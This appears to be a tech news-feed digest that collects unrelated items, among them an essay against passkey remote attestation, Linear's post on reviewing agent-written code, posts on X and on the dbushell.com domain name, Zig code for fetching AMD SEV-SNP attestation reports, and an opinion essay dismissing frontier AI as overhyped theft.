There is ample reason for you to be hesitant before you set up a passkey. If you’ve used only websites that require one certain kind of passkey then you might not notice when a website has you set up a different kind of passkey. Don’t forget that unlike passwords and SMS codes and TOTP, passkeys are designed to function in the background without you ever seeing the details. They’ll offer you at most a “confirm” prompt. (That’s the convenience aspect.) My expectation is that the industry will start off with very few constraints on your passkeys, and gradually add more and more, not all at the same time, but staggered on different sites, and then in a few years people will forget that they were ever offered a choice in which security measures they want to enable on their passkeys (if they even knew there were different kinds of passkeys at all).

So far, almost nobody has even heard of remote attestation. The vast majority of people use one of the four major operating systems (Windows, Android, macOS, and iOS) and not alternative operating systems like Linux, LineageOS, postmarketOS, or GrapheneOS. The overwhelming majority of people don’t replace the operating system on their phone when it stops receiving updates; instead they just buy a new phone. So almost nobody will ever encounter a situation where their device fails a remote attestation check.

Are attested passkeys so bad, though? After all, we really aren’t meant be sharing Netflix accounts to begin with.

Take another look at the list of members in the FIDO Alliance, and put on your tinfoil hat. Why do intelligence agencies care if I am sharing my Netflix account? Heck, why does Microsoft care if I am sharing my Netflix account?

For intelligence agencies, and for corporations like Microsoft, Google, Apple, Facebook, Amazon – giving you convenience and security is likely not their primary goal. I think they have an entirely ulterior motive. They can use passkeys to prevent you from running unapproved software .

Remote attestation can allow them to verify that your device is not capable of, say, sending and receiving encrypted messages, or running a competitor’s app, or using social media without verifying your ID. They don’t want you to be able to turn off the mandatory built-in AI image scanner on your phone that scans everything your phone sees for nudity. ( Yes, I’m serious. )

But I rather like deciding for myself what software I approve of and what software I don’t. Something I value about my web browser is that I can install extensions to modify aspects of websites that bother me. I can say no to auto-playing videos on news websites; I can decide which advertisements are too intrusive for me to let through; I can filter out irrelevant search results and disable AI summaries; I can block the “recommended video” feature on YouTube which always seems to promote outrage and division (or as Big Tech calls it, “engagement”). And if a website ends up monopolizing my time anyway, I have an extension that locks them down after a certain span of time. These extensions give me control over how the internet affects me, even if Big Tech would much rather make those decisions for me. But Google owns Google Chrome, which is the world’s most popular web browser, and they can remove support for these useful extensions ( as they did earlier this year with uBlock Origin); and with remote attestation they can prevent me from using any other browser that doesn’t follow suit.

Remember those authenticator data flags I mentioned? There used to be only 4 of them. Earlier revisions of the FIDO Alliance’s security standard (called “WebAuthn Level 1” and “WebAuthn Level 2”) had fewer catalog options to choose from. I’m sweeping some details 9 under the rug here for brevity, but since you are given four distinct binary choices, you could call that 16 different kinds of passkey. In 2022 the FIDO Alliance added some more (“WebAuthn Level 3”), so that websites could know whether or not your credentials are copyable, or if backups of your credentials might exist somewhere. There are still two flags left “reserved for future use.” What might our passkeys require of us in the future?

I’m not one to argue about slippery slopes, so I won’t claim that that the campaigns to protect children online today will tomorrow turn into laws designed to make it easy to identify political dissidents. But I will say that the widespread adoption of the passkey technology being advertised to you as convenient and secure is capable of permitting such laws to be easily enforced.

So if you care about your privacy and the privacy of others, if you believe people should be free to choose what software runs on their devices, that people should be allowed to learn how to write their own software and run it on their own devices, and that friends should be able to privately talk politics online without government interference, then I would ask you to reject these dozens of different security mechanisms which are all confusingly branded as the same “passkeys.” Wait for Big Tech to propose something just as convenient and secure but more clearly defined and with fewer strings attached. In the meantime if you want security, your Game Boy can provide you with TOTP. 10

Discussion about this post

Ready for more?

Reviewing code in the agent era

Lobsters
linear.app
2026-10-11 17:25:41
Comments...
Original Article

Last week we launched Diffs, a new way to review PRs directly inside Linear. Since then we’ve had a lot of questions about it, so we wanted to share more about why we built the feature and how we use it ourselves today.

Like a lot of people who build software, I felt the ground shift at the start of 2026. The models got better, the agents got better with them, and almost overnight the amount of code moving through my team went up. Between January and March our total issues created and PRs merged both climbed by 50%.

That was exciting, and it was also a problem. With that much code moving, I felt the pull to “looks good!” my way through reviews just to keep the queue down, and that sat badly with me, because quality is something we genuinely obsess over at Linear. I kept landing on the same question, which was how I could stay on top of this much review without lowering my bar.

That question is really why we leaned so hard into building Linear Diffs this year. After several months of living in it, I can say it has helped me tame the deluge of agentic code, and here is how I use it day to day.

Reviews now have a prominent space in Linear, so I can easily stay on top of what I need to review for others and my own work that’s getting reviewed.

I rely on Linear’s notifications system, both via the inbox in the app and through the Slack integration, so I don’t miss when new requests come in or when I get new feedback.

Linear UI showing Slack and native Linear notifications.

Linear UI showing Slack and native Linear notifications.

When I pick up a review request, the first thing I do is get my bearings. I want to understand why we’re making a change in the first place. With Reviews in Linear, I’m only one click away from seeing what inspired the code, like a piece of customer feedback, a bug report, or an idea someone shared on a Slack thread.

Linear UI showing issue context.

Linear UI showing issue context.

If the change is something you can see, like a UI tweak or a new flow, I’ll open the preview build first to feel how it behaves. I take screenshots and screen recordings to flag anything that looks or feels off, so the author sees exactly what I’m reacting to.

Linear UI showing Preview feature.

Linear UI showing Preview feature.

Then I move to the diff itself. I scroll through once to get a sense of the size, patterns, scope. If the change is sizable, I then switch into a guided review. Linear groups the change into chunks that read like a story, so I can follow the logic instead of skimming a wall of red and green.

Linear UI showing Guided Reviews.

Linear UI showing Guided Reviews.

I don’t read line by line, because finding bugs and checking for logic correctness is now mostly covered by agents. I’ve got that time back, so I spend it thinking about whether the change fits the system and actually solves the problem. I can think about edge cases, user experience, or alternative solutions. I’ll admit, with a bit of guilt, that this is the part I sometimes glossed over when all my energy was previously going into parsing the code itself.

Of all the ways people talk about the role of an engineer changing, this shift toward judgment is the one I actually see in my own work. To be a valuable reviewer you have to develop more of the product sensibilities, and know customer pain and real-world impact more deeply. I think it’s a good thing, because it elevates the role of an engineer further.

Every so often I’ll notice the change is solving the wrong problem. Someone (or an agent) took the brief too literally and we have to take a step back and approach it from a different angle. When that happens, I’ll start a discussion with the team. It’s easier to bring more people into the loop when all the relevant context is so readily available next to the code change.

More often, the change is broadly on track and the work stays inside the diff. I’ll leave a comment when I want the author to think something through or tweak. They can use an agent directly in Linear to address those comments, and I can also contribute to those same sessions to clarify my feedback.

Linear UI showing a code change being made with Linear Agent.

Linear UI showing a code change being made with Linear Agent.

I find these opportunities to collaborate directly with my team incredibly useful now that we’re spending more of our day alone with agents. Review is one of few moments when we look at each other’s work directly. I get to see what someone else is thinking, disagree with them about something, or notice that they’re doing something smarter than I would have. It’s also where your engineering culture shows up. Do people ask the hard questions and keep each other accountable to a high bar?

Collectively this means that even with a higher volume of PRs, I’m confident our quality is holding up. For us, quality code review has come to mean that the code is useful, not just correct. I’m enjoying spending more of my time in review deciding whether what we’re shipping earns its place in the product at all, not just whether it works.

A Remote Employee Refused 160 Webcam Photos a Day. Her Employer Fired Her

Hacker News
www.inc.com
2026-10-11 17:07:20
Comments...
Original Article

Please enable JS and disable any ad blocker

★ X Once Again Marks the Spot

Daring Fireball
daringfireball.net
2026-10-11 17:05:33
If you returned from exile on a desert island and took a look at X today for first time in a year, you might reasonably guess that Elon Musk got bored and sold it while you were away....
Original Article

Upon taking the CEO helm last month, John Ternus began tweeting on X . He tweeted “ hello ”, posted an iPhone event eve teaser and then a promo video for the new products, celebrated Apple’s plethora of wins at the Emmys and launch day on Fifth Avenue , and commemorated the anniversary of Steve Jobs’s death .

X is the only place these posts go. Same for Greg Joswiak’s account . Lighthearted stuff too, like Cook “introducing” Ternus to Pikachu back in August . You may not like it that X has re-found its footing under Elon Musk’s ownership, but it has. I’m citing Apple executives here but they’re far from alone. There are hundreds of interesting people and accounts I follow that post on X very regularly and do not post anywhere else at all. As a word nerd I love Merriam-Webster’s account — fun, clever, smart posts every day. That’s just one example among hundreds. Here’s another . Fascinating new apps are being shown and discussed on X and nowhere else.

I see more interesting posts on X than I do on Threads, Bluesky, and Mastodon combined. I wish that weren’t so but it is. Most people don’t want to think about politics so they don’t. Those people, when they want to participate in a Twitter-like social network, go to X.

And I can’t blame anyone. The only network that compares to X, size-wise, is Threads — but Threads’s algorithm is weirder than X’s now, and the content I see there is relatively boring. My Threads timeline is full of engagement bait without being engaging. And if you want to judge a platform by its owner, “ I’m grossed out and/or appalled by Elon Musk so I’m going to Mark Zuckerberg’s joint ” isn’t a way to avoid being grossed out and/or appalled by the owner. Bluesky and Mastodon are too small for most people to care about — and, worse, they are the networks where politics are, in my experience, unavoidable. You can have a discussion about cool new use cases and tools for AI on X and people just discuss the tools and use cases. On Bluesky and Mastodon it’s difficult to have such discussions without arguments from people who (a) believe all use of AI is unethical, and (b) will shove their viewpoints into your replies.

The culture on X today is remarkably friendly and inclusive. It is a cheerful place. That cheerfulness is another differentiator. If you believe the world is falling apart and doomed only to get worse, that our obvious and real problems cannot be surmounted, X is not the platform for you. If you think the world is full of fun and amazing people and things, that humanity’s defining feature is our collective ability to solve any problem, that the only time better to be alive than today is tomorrow, it might be.

If you have stayed away, or even just mostly away, from X for years and then come back , people just say things like “Hey, glad you’re back!” On the other networks, especially Mastodon , they tell you you’re “feeding Nazis” — by going to the platform where Tim Cook posts Pikachu videos. These people have either lost their minds or refuse to check their prior assumptions. (Most of the ones who chime in about it publicly are the lost-their-minds types.)

But the bigger problem is that there’s little action on Bluesky or, especially, Mastodon. There’s a lot of activity on Threads, but little action . There is action on X. I’ve said for years that Mastodon is my favorite of the bunch and in a way it still is, but really that’s because when I go there I don’t have to be diligent to avoid wasting time. I avoid wasting time on Mastodon because there’s so little of interest to see. That’s a feature — for me — but it certainly isn’t what most people are looking for in a Twitter-like posting platform. They want action. The action is on X.

Without any fanfare — perhaps to avoid his ire — X has de-Musked its algorithm. I stopped visiting at all when the algorithm there was putting Musk’s own tweets into my timeline, every time I checked, despite the fact that I never followed him. But they don’t do that anymore. I don’t see much politics of any kind in my timeline, and what I do see is from accounts I chose to follow. I see tech (including a lot of interesting breaking news), sports (including a lot of interesting videos and stats ), and stupid stuff that’s actually funny. My only problem with X now is that I do have to pay attention to avoid wasting time when I visit.

Plus, in addition to the tweets, there are now many interesting people using X to post entire essays and blog posts. I wish that weren’t so, for multiple reasons (e.g., no RSS). But it is so.

If you returned from exile on a desert island and took a look at X today for the first time in a year, you might reasonably guess that Elon Musk got bored and sold it while you were away. I do think he got bored micromanaging it, but the rank muskiness that permeated the platform after he took over is — for now, at least — gone.

Tattoos you can turn on and off

Hacker News
www.livescience.com
2026-10-11 17:04:46
Comments...
Original Article

Kenna Hughes-Castleberry is the Content Manager at Live Science. Formerly, she was the Content Manager at Space.com and before that the Science Communicator at JILA, a physics research institute. Kenna is also a book author, with her upcoming book 'Octopus X' scheduled for release in spring of 2027. Her beats include physics, health, environmental science, technology, AI, animal intelligence, corvids, and cephalopods.

D-Bus Hell

Lobsters
dbushell.com
2026-10-11 16:36:07
Comments...
Original Article

No AI - Made by Human

The time has come to address the elephant in the comments.

Whenever my blog hits a place with a comments section the most predictable comment I see — besides some variation of “this idiot is utterly delusional!” † — is this one:

lol I read the domain as “D-Bus Hell”

Random commenter

I’d prefer if they focused on my actual blog content but I can’t get annoyed at people for seeing the wrong words. There’s a reason experts-exchange.com has a hyphen, and who can forget Susan’s party? I’d probably read “D-Bus Hell” myself, if I forgot my own name.

† Why is Hacker News like that?

But for the sake of the record I would like to point you to your nearest WHOIS tool:

$ whois dbushell.com

Domain Name: DBUSHELL.COM
Creation Date: 2004-05-14T22:51:48Z

Don’t ask me what I was doing at ten minutes to midnight registering a domain name. Is there a more appropriate time? The significant point is the date: May 2004.

That was 22 years ago.

Now if I may direct your attention to the D-Bus project Wikipedia page :

Release November 2006; 19 years ago

D-Bus - Wikipedia

I rest my case.

The D-Bus project doesn’t even have it’s own domain name, for crying out loud!

So next time you see a post about D-Bus, maybe drop a comment saying: “reminds me of that dummy with a blog and a giant logo spelling out his full name!” Or something to that effect. (I’m joking, don’t do that.)

What’s in a name

To date I’ve resisted the siren call of nominative determinism so I can’t answer to whether D-Bus is actually hell or not. I considered writing a D-Bus review as a joke, but then I decided to watch paint dry. I’ve never heard Linux nerds express any strong opinions on the topic (for which they’re prone to do; see Systemd, Wayland, etc.)

I did go down the Wikipedia rabbit hole of cognitive psychology and linguistics. There’s an interesting read on Rebracketing where a word like “Hamburger” becomes “ham + burger” which was altered from the origin: “Hamburg + er” . This is a form of Folk etymology where words can change due to unfamiliarity.

Etymology

My surname could simply come from “bushel”. An imperial unit of volume still favoured by fantasy novels, before the Trollocs attack and shit gets real. “Bushel” dates back to Middle English with origins in the Old French word “boissel”.

At the risk of being part French, I’m inclined to believe an alternate theory that my name derives from “Bossall” a hamlet in North Yorkshire. But that would make me part Yorkshireman. I’m not sure which is worse.

It’s not a very common surname. If this Geneanet heat map has any credibility, the name favours the south of England. That might support the French theory? Liverpool has the highest number of Bushells though.

Bushells is also an Australian brand of tea founded by tea dealer Alfred Bushell in 1883. Alfred was born in Worcestershire, England (pronounced: Wrcstrshr ).

Interestingly, Wikipedia notes:

After the Norman conquest of England; the Domesday Book noted in 1086 that in seven of the twelve hundreds covering Worcestershire, the Crown had no authority.

Worcestershire - Wikipedia

The Domesday Book always references Bossall (the Yorkshire hamlet) as Boscele or Bosciale ; names that are Anglo Saxon in origin.

When I say “Bushell” over the phone my pronunciation is often mistaken for saying “Buchel”. Some sources say they’re from the same Anglo Saxon origin. These distribution maps for Bushell and Buchel cast doubt on that idea (if Forebears data is accurate). “Büchel” also has different origins if you stick an umlaut on it.

I suspect I’m dealing with multiple different names of Anglo Saxon and Norman origin. There are many spelling variations of “Bushell” and similar names in historic records (though few have survived). Most people were illiterate until recent decades so spelling variations are not surprising. It seems probable to me that whenever families adopted a spelling, a variation from the wrong lineage could’ve been written due to phonetic differences. Even if I traced my ancestry back hundreds of years, I’d likely reach a moment when a scribe wrote “Bushell” in some form and my ancestor just shrugged because he couldn’t read.

The etymology of “David” is well known despite being much older. Its roots are Hebrew meaning “beloved” and has found its way across Judaism, Christianity, and Islam.

D-Bus is “Desktop Bus” if you were too lazy to click the link.

What’s in a domain name

Domain names are a strange system. They’re temporary URIs that are leased and inevitably lost. I’ve spent half my life publishing content on dbushell.com . I started using it seriously once I had a design portfolio. If you’re curious you can see past versions at:

legacy.dbushell.com

In hindsight if I knew I was going to build a career around my website I’d have chosen something more memorable. Imagine all the common words that were still untouched in 2004? dave.co.uk wasn’t taken until 2005! I don’t actually go by “Dave” myself but like the “D-Bus” thing it’s not my choice to make.

For a brief moment I did consider moving to another domain. I would have had to maintain redirects forever. It’s not a sensible “SEO” manoeuvre either, if that matters anymore…

Now that I’m running my business from valleyfold.co.uk I’m happy I stuck with dbushell.com for my personal space.

Anyway, next time you spot the “D-Bus” comment please direct them there!

Better yet, take up this blog challenge: write about the etymology behind your name and domain name.

The gap in shared understanding of LLM capability is widening

Hacker News
twitter.com
2026-10-11 16:20:52
Comments...
Original Article

Dusting off this tweet from April because this gap in shared understanding of LLM capability is *widening*. It's now less "two groups of people speaking past each other" and more a sharp funnel. - Napkin math somewhere around 6B people (~75% of the population) have barely come in contact with LLMs at all. - Around 1-2B (~20%) are casual and infrequent users of free-tier ChatGPT-like products. This group sees derpy chatbots and treats them a bit like a better Google search, a writing aid, or etc. Maybe an agent tries to book you a flight. I have non-tech friends who (reasonably, imo) say they have not much use for it at all. Even many professionals outside of math&code are in this tier. For example, execs and many other functions spend a lot of their time talking to other people, so while they understand what is happening intellectually, it is still second-hand and a bit abstract. - Now we get to professional use of frontier-grade LLMs in math&code. Somewhere around 20M people (0.2%) see first-hand that large, complex projects that used to take them weeks/months can now be completed by agents with a prompt. Building apps, copying apps, translating apps, decompiling apps from binaries... This has all happened very quickly and recently - less than 1 year ago, I was writing code manually by hand, typing memorized computer code commands into a code editor character by character, occasionally pressing Tab to autocomplete a little chunk of code. - And finally we get to the ~5,000 people (~0.00006%) with access to frontier-grade systems internally. The external world has seen the preview. It looks like swarms of thousands of agents collaborating over weeks on software mega projects: minting zero days, running cyber attacks and defenses at machine speeds, discovering new science, advancing the frontier of mathematics. Things that would have taken top professionals in the industry years of work. Meanwhile, human review and comprehension are starting to fall behind. For example, people are still involved in the "archeology" of the OpenAI-HF incident from many months ago. Mathematicians may be poring over the 722 manuscripts on frontier mathematics for a while. The funnel is driven by a combination of factors: 1. The impact scales with ambition, problem size, and horizon. A question with a paragraph answer barely stresses the system. You need a reservoir of big, difficult problems that you really care about. This aspect drives the consumer / professional dimension of the funnel. 2. The jaggedness of the system (which I have written about a lot separately). Capability peaks in domains that are digital, verifiable and economically valuable. This is because LLM capability emerges from reinforcement learning on verifiable rewards on a curated environment mixture driven by revenue potential. This aspect primarily drives the area (e.g. math&code) dimension of the funnel. 3. Access. Free-tier, paid-tier, internal. So this is the weirdness of the moment. The general public has mostly not interacted with these systems. When they have, it looks like a derpy chatbot. The majority of professionals still see only a modest uplift. And a small sliver of professionals are experiencing the vertigo of the curve going vertical. And it is all happening at the same time.

Fetching AMD SEV Reports (With Zig)

Hacker News
bschaatsbergen.com
2026-10-11 16:10:55
Comments...
Original Article

In an ordinary VM, the hypervisor can read the guest’s memory. AMD SEV , Secure Encrypted Virtualization, encrypts that memory with a per-VM key the hypervisor does not receive. SEV-ES extends the protection to saved CPU register state.

SEV-SNP, Secure Nested Paging, adds checks on memory ownership and mappings to prevent a malicious hypervisor from substituting or remapping private pages. This protects the guest from the host; it doesn’t make software inside the guest trustworthy or prevent the host from stopping the VM.

SNP lets the guest request a report signed by the AMD secure processor, providing evidence of the VM’s launch state and configuration. It contains the launch measurement, guest policy, platform security versions and 64 bytes of caller-supplied REPORT_DATA .

Before the VM starts, the host loads its starting software into memory. This includes the guest’s boot firmware: the startup software that initializes the VM’s boot environment and hands control to the operating system’s bootloader. On Google Cloud, that’s Google-managed UEFI firmware based on Open Virtual Machine Firmware (OVMF) .

The starting software can also include Coconut SVSM , a separate program that hosts services such as a virtual TPM. The UEFI firmware still boots the OS; SVSM provides services that need protection from the OS itself.

AMD’s SNP firmware runs on the secure processor. The host starts a launch with SNP_LAUNCH_START , then supplies the starting image in chunks called memory pages through SNP_LAUNCH_UPDATE . For each normal code or data page, the firmware hashes the bytes it installs, their guest-memory address, page type and permissions, together with the previous hash. AMD’s firmware maintains this running hash in protected state; the host cannot supply a replacement value.

SNP_LAUNCH_FINISH closes the launch. The final SHA-384 hash is the launch measurement , a fingerprint of that initial image, including SVSM when present. Later, the firmware copies this stored value into the report . It stays fixed as the VM runs.

When performing remote attestation , a Verifier compares it with the expected fingerprint for the starting software and launch configuration it trusts. Google publishes signed launch endorsements containing those expected measurements for its firmware. Changing the firmware bytes changes the fingerprint. Marking those pages as unmeasured skips hashing their contents, but changes the page type included in the hash. Either way, the result differs from the expected fingerprint, so the Verifier can reject the attestation.

The kernel and applications that the firmware loads afterwards are not automatically covered by this fingerprint.

retrieving a report on Linux

Linux exposes the SNP guest interface at /dev/sev-guest . An application sends the SNP_GET_REPORT ioctl, and the driver handles the protected exchange with AMD SNP firmware.

Alongside the report data, the request supplies a VM privilege level, or VMPL: 0 through 3, with 0 most privileged. These levels matter because Linux isn’t always the most privileged software inside the VM. Coconut SVSM, for example, can use that separation to host a virtual TPM whose keys are isolated from the guest kernel. Being root in Linux doesn’t put you at VMPL0. Use the VMPL supported by your guest.

Here’s the request in Zig (0.17.0), using the layouts from Linux’s guest API. fd is an open /dev/sev-guest descriptor inside an x86-64 Linux SNP guest:

const std = @import("std");
const linux = std.os.linux;

const ReportRequest = extern struct {
    user_data: [64]u8,
    vmpl: u32,
    reserved: [28]u8 = @splat(0),
};

const GuestRequest = extern struct {
    msg_version: u8 = 1,
    padding: [7]u8 = @splat(0),
    req_data: u64,
    resp_data: u64,
    exitinfo2: u64 = 0,
};

pub fn fetchReport(fd: i32, challenge: [64]u8, vmpl: u32) ![1184]u8 {
    var request: ReportRequest = .{ .user_data = challenge, .vmpl = vmpl };
    var response: [4000]u8 = @splat(0);
    var call: GuestRequest = .{
        .req_data = @intFromPtr(&request),
        .resp_data = @intFromPtr(&response),
    };

    const SNP_GET_REPORT = 0xc0205300;
    const result = linux.ioctl(fd, SNP_GET_REPORT, @intFromPtr(&call));
    if (linux.errno(result) != .SUCCESS or call.exitinfo2 != 0) {
        return error.ReportRequestFailed;
    }

    const status = std.mem.readInt(u32, response[0..4], .little);
    const size = std.mem.readInt(u32, response[4..8], .little);
    if (status != 0 or size != 1184) return error.InvalidResponse;

    // The report follows the 32-byte firmware response header.
    return response[32..][0..1184].*;
}

Pass a fresh 64-byte challenge from the verifier and the guest’s VMPL. The challenge comes back in REPORT_DATA , so the verifier can reject an old report. The result is a raw report; its signature and policy still need checking.

I packaged the retrieval, report parsing and verification in zig-sev-guest , so callers don’t have to work with these buffers directly.

retrieving reports through Coconut SVSM and OpenHCL

Coconut SVSM and Microsoft’s OpenHCL have different designs, but both run privileged services such as a vTPM inside the confidential VM. On SNP, AMD hardware encrypts that memory—including the TPM’s private keys—with a per-VM key managed by the secure processor. The guest kernel runs at a less privileged VMPL than SVSM or OpenHCL. SNP’s page permissions block it from reading the pages holding the vTPM’s private keys.

The guest can ask AMD to sign a report containing a hash of any public key. That does not prove the key belongs to the protected vTPM. SVSM and OpenHCL build the request using the public keys of the TPM they host. The application therefore obtains this report through them.

Application /dev/sev-guest Linux configfs vTPM interface Coconut SVSM OpenHCL SNP firmware
Three request paths, all backed by SNP firmware.

checking the evidence

In zig-sev-guest , I use OpenSSL to verify the signing certificate’s chain against the embedded AMD roots and check the report’s ECDSA P-384 signature. The certificate’s security versions, and chip identity where present, must also match the report.

Policy validation then compares the report with the expected launch measurement, REPORT_DATA , VMPL and minimum platform security versions. Debugging, SMT and migration are rejected unless explicitly allowed.

verify.andValidate performs both steps on the same report. The caller supplies the expected values, including the fresh challenge, and checks any vTPM-specific claims and quotes separately.

Cartographers of North Korea

Hacker News
cartographers-nk.wonyoung.so
2026-10-11 15:46:40
Comments...

Artificial Insanity

Hacker News
richwhitehouse.com
2026-10-11 15:44:45
Comments...
Original Article

October 10, 2026 at 3:57 pm (CST)

The idea that "artificial intelligence" is a poor moniker for the current frontier of generative AI models is indeed reasonable, but not because of the word "artificial". Frankly, including large language models under the umbrella is an insult to traditional AI. I mean, technically speaking, a video game from 1980 was likely to contain more logical branching points than a modern LLM's kernel, and was likely to be a lot more interesting to read.

That's obviously a bit of an unfair comparison, but of course, so is the comparison between frontier "AI" and any long-standing definition of intelligence. Which brings us to why we're here: I want to provide a distillation of the real reasons we should all reject "AI" as it's being sold to us, and why we should despise the people selling it! This is going to be written from a very American perspective, because American economic and political dynamics are at the core of why American AI companies are drowning American people in bullshit.

First, we need to be very clear on something that companies like Anthropic and OpenAI really don't like hearing in public discourse: frontier AI is still just a highly augmented stochastic parrot. A stochastic parrot with sufficient firepower can be a fearsome creature, and it can be useful in many different contexts. However, this parrot can't hope to emulate any serious form of consciousness, and therefore can't ever be capable of intelligent judgment. No matter how the data this parrot operates on is refined or how its selections are augmented, this parrot will always be prone to unpredictable and extremely undesirable token selections. You'd get better judgment from training an actual parrot, because it operates on a spectrum of data that the artificial parrot has no hope of operating on unless someone figures out how to make light move faster.

This brings us to a big underlying problem with the way AI is being sold to us: it's being exaggerated to sound like way more than it is, and it's being sold to people/governments as something that will be capable of exceeding human "intelligence" in the near future when it's not capable of intelligence at all. Indeed, it's possible to exceed basic human memory and storage limitations through this implementation of AI, but it's already a physically demonstrable dead end when it comes to approaching the reasoning capacity of a human brain, or even an insect brain.

There is no danger of a "rise of the machines" scenario with this technology, and while I feel a little bad for having to say it, people like Jacob Coxon are very much serving as "useful idiots" for American AI companies. They're taking away all the wrong messages and all the wrong dangers, and accidentally or otherwise, inflating the technology's perceived scope/importance by spreading a false narrative around its potential dangers. The only way this parrot can endanger humanity is if someone says "let's put this chaotic token predictor in a position where its output can kill people." Are people stupid enough to do that? Well, yes, of course they are. Are they stupid enough to do it at scale? Maybe, but the danger posed here is not by AI, it's by people, same as it's always been.

The dangers posed by this technology on its present trajectory are best understood as simple accelerants for the existing dangers humans pose to themselves. Engineering a deadly new pathogen, for example, is already a danger - the barrier to entry is mostly in the hardware required, so being able to rapidly auto-generate and/or analyze variants isn't really adding much to the danger, it's just an assistive mechanism for state-level actors already engaging in this dangerous practice. Mind you, hardware availability/scalability in this realm stands a very good chance of indirectly resulting in our extinction in the not too distant future, but AI anywhere on its present trajectory is not likely to change that much.

This paradigm is apparent in pretty much every category of "species-level" danger posed by the current generation of AI technology and its trajectory, it is at most an accelerant for an existing "misalignment" in the species. Our global socioeconomic order fails to align to our species-level needs and embraces a ruthless, sociopathic ethos which will almost certainly result in a large percentage of the global population dying horrible, premature deaths at some point in the not too distant future. AI has nothing to do with that, it's just helping speed it up a bit. AI is also helping authoritarian regimes inflict various forms of fascism in ways Nazi Germany only dreamed of, which poses a far more imminent danger to our collective quality of life than anything I've heard uttered in American media.

So why are many of the very same sociopaths who are driving us toward climate destruction now suddenly so concerned about the "danger" posed by AI, and seemingly acting in defiance of their fiduciary duties to warn us that we must slow down development and seek regulation? Of course the reasons are entirely self-serving, which you should almost exclusively be able to determine from their history of narratives! They're combining this "threat to the species" narrative with a "we must stay ahead of China for the sake of our babies and all of Western Civilization" (this is incredibly ironic, I'll explain why in a bit) narrative, while milking the shit out of every perceived accomplishment (especially their highly publicized and highly distorted mathematical "victories"); it's important to understand that these narratives are directly linked to each other, in order to understand the reasons behind them.

First you must realize that these companies have pulled off the greatest theft in all of human history. They've stolen every digitizable thing they can get their hands on with little to no respect for license or ownership (except where already forced by large-enough entities) under the assumption that they would be important enough for governments to save them from their crimes after the fact. They are completely dependent on the narrative that they've developed a revolutionary technology. Is a sufficiently-augmented parrot truly revolutionary? In some ways, in some industries, kind of. It's definitely going to make a lot of jobs more annoying and less satisfying in the coming decades. Will its economic gains offset its economic costs? Debatable, especially when you factor in the yet-to-be-realized (but predictable) consequences on future generations of labor. In fact, the current financial models behind these companies are unlikely to even be sustainable unless the companies succeed in their attempts at regulatory capture. Which brings up another important point.

Another reason behind the desperate attempts to inflate the publicly perceived importance of AI is regulatory capture. These companies want to carve out as many exceptions for themselves as possible and quickly pull the ladder up. They can perform mass-theft, but no one else can! I also expect these companies to begin behind-the-scenes attempts to bury/hinder open-weight models, if that isn't already happening. Some of the dynamics at play here are very similar to the dynamics behind software engineering and Open Source which I outlined not too long ago , and in fact AI is also accelerating many of the existing harms in that ecosystem. Being open is only a good idea for a sociopathic entity (e.g. a corporation) for as long as it profits more by the devaluation of associated labor than it profits from the labor itself. By contrast, it's hilarious to see these companies internally panic about the practice of distillation; oh no, they are stealing from us, after we stole from everyone! For that reason, these companies have been very careful about how that panic is presented to the public, because they are very aware of the irony inherent in their objection to having their data "stolen".

Now in order to protect their own interests (and I can't say it enough, those interests are all derived from the greatest theft in history) and to cover their own crimes, these companies have every incentive to try to reinvent copyright law. They have to contend with other big players in the American economy here, because some very powerful companies are very vested in existing copyright law. This is where you start to taste the irony in that "we must defeat China" narrative. These companies have already stepped all over individual property rights. For example, even some of the most permissive source code licenses tend to carry some loose terms and requirements, or simply request that authors receive attribution in derived works. All of that source code has been slurped up with no shits given. Every token from every given work and every weight that token influences (and every weight that weight influences, and so on) should reasonably be considered derivative of the work, and should be required to carry forth the terms of the license. By that logic, virtually every output from any of these LLM's is completely illegal.

Of course, the industry is appealing to pragmatism where it suits them here; if your source code is public, you should want it to be used for the "common good", and of course that's what this is! It's not consolidating the vast power represented by decades of human labor into the hands of a small number of people! IT ISN'T! Oh, and it's not a derivative work, because like, people can read that source code and the license doesn't transfer to their neurons! That's totally exactly the same thing! YOU KNOW IT IS! IT'S THE SAME THING! I'M TELLING YOU IT IS, NO, SHUT UP. Of course, there is a fun parallel there: the incredibly disingenuous practice of paying an intern to "rewrite" (e.g. do everything short of copy-paste) an open-source library because of incompatible licensing isn't exactly unheard of across various software industries, and AI is a convenient means of fully automating that theft. No intern necessary! So you have a system built on theft which also enables more forms of theft, which is funny, but those sub-thefts barely register in contrast to the primary theft.

Maybe at some point these companies will get around to revising a "permission-only" data set, but they aren't too incentivized to do that unless they lose their bid to reshape the entire western concept of intellectual property. That irony should be very salty now; companies pulling off mass theft, protecting themselves by leveraging western notions of property and ownership, then (by necessity of their theft) attempting to invalidate those notions of ownership for everyone else... except for other companies large enough to fight to preserve their own rights. This is effectively mandating a "state ownership" model like they warn you about in those "communism is evil" propaganda pieces, except the state is just a collection of powerful-enough corporations. Like some kind of corporate oligarchy. Gosh, where have I heard that term before?

Another big reason for the "AI will kill us" narrative is that these companies can't deliver on their promises, at least not on their present trajectory. They've had to over-promise in order to over-inflate the perception of the thing they're making. This links directly to their economic sustainability, and will soon enough link to the promises they make to public investors. Regulatory "slowdown" is the perfect narrative for investors. The narrative turns from "we aren't under-delivering because we're actually running out of new ideas for cyborg parrot attachments, we promise" to "we had to slow down for the good of the species, but the wait will be worth it, we promise." Perfect!

Anyway, capitalism being what it is, these companies are desperate to justify their business model and their valuations. Those valuations being what they are, at this point it seems to me that these companies are either going to "succeed" or scrape a chunk so big out of American GDP that its economic fluids can be felt spattering all the way over in China. The Chinese government has to think this whole situation, and the western hand-waving over "AI-driven annihilation", is fucking hilarious; yet they understand the reasons to avoid piercing the narrative. So we already have a system of very perverse incentives in place for the American government to embrace all of these lies about what AI is, what it can be, what it needs to be, and so on.

So let's summarize a bit here. They've stolen from our entire species on one of the deepest levels imaginable. They appear to have repeatedly misled the public and embraced false narratives about what they've done and what they're intending to do. They're desperate to avoid accountability and will reach for any possible deception in order to do so. It's easy to demonstrate that they're primarily serving private interests. They've trapped us in a lose-lose proposition for western values on the whole; this applies to countless social foundations, from property ownership to democracy. Their longer-term strategy is something I'd like to describe as a form of passive genocide. Oh right, let me get to that next!

